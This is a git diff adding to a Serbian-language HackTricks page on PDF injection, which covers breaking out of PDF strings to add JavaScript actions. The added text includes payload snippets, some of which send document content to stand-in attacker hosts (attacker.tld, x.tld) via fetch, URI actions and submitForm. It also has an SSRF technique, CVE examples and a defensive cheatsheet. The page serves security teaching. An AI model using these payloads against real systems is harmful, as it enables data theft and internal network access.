diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 4232139f4..72e7e5b6f 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,56 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript ili ukrali sadržaj PDF-a.** - -Proverite post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a.** +PDF sintaksa je izuzetno permisivna – ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje. +Od 2024. godine, talas izveštaja o greškama je pokazao da *jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno* za potpuno izvršavanje skripte. + +## TL;DR – Moderni Tok Napada (2024) +1. Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar **(stringa sa zagradama)**, `/URI ( … )` ili `/JS ( … )` polja u generisanom PDF-u. +2. Injektujte `) ` (zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom. +3. Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku – odlično za slepe greške). +4. Vaš payload se izvršava u PDF pregledniku: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (vidi CVE-2024-4367) +* Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa `this.getPageNthWord`) + +Primer (otmica linka za anotaciju): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*Prva `)` zatvara originalni URI string, zatim dodajemo novi **Action** rečnik koji Acrobat izvršava kada korisnik klikne na link.* + +## Korisne injekcione primitive +| Cilj | Payload Snippet | Napomene | +|------|-----------------|-------| +| **JavaScript na otvaranju** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u). | +| **JavaScript na linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Radi u PDFium-u i Acrobat-u ako kontrolišete `/Link` anotaciju. | +| **Slepa ekfiltracija podataka** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombinujte sa `this.getPageNthWord` unutar JS da ukradete sadržaj. | +| **Server-Side SSRF** | Isto kao gore, ali ciljate internu URL adresu – odlično kada PDF renderuje back-office usluge koje poštuju `/URI`. | +| **Prelom linije za nove objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ako biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte. | + +## Trik sa slepom enumeracijom +Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta – koristan kada ne možete videti generisani PDF: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam *JSON-ish* ispis datoteke. +Pogledajte belešku “Portable Data **ex**Filtration” za punu tehniku. + +## Real-World Bugs (2023-2025) +* **CVE-2024-4367** – Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom `/JavaScript` akcijom. +* **Bug bounty 2024-05** – Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u `/URI`; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristeći `file:///` URI. +* **CVE-2023-26155** – `node-qpdf` komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i *pre* PDF sloja. + +## Defensive Cheatsheet +1. **Nikada ne spajajte sirovi korisnički unos** unutar `(`…`)` stringova ili imena. Eskapirajte `\`, `(`, `)` kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove `<...>`. +2. Ako pravite linkove, preferirajte `/URI (https://…)` koje ste *potpuno* URL-enkodirali; blokirajte `javascript:` sheme u klijentskim preglednicima. +3. Uklonite ili validirajte `/OpenAction`, `/AA` (dodatne akcije), `/Launch`, `/SubmitForm` i `/ImportData` rečnike prilikom post-procesiranja PDF-ova. +4. Na serverskoj strani, renderujte nepouzdane PDF-ove sa *headless konvertorom* (npr. qpdf –decrypt –linearize) koji uklanja JavaScript i spoljne akcije. +5. Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda. + +## References +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (ažurirano maj 2024). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (apr 2024). +{{#include ../../banners/hacktricks-training.md}}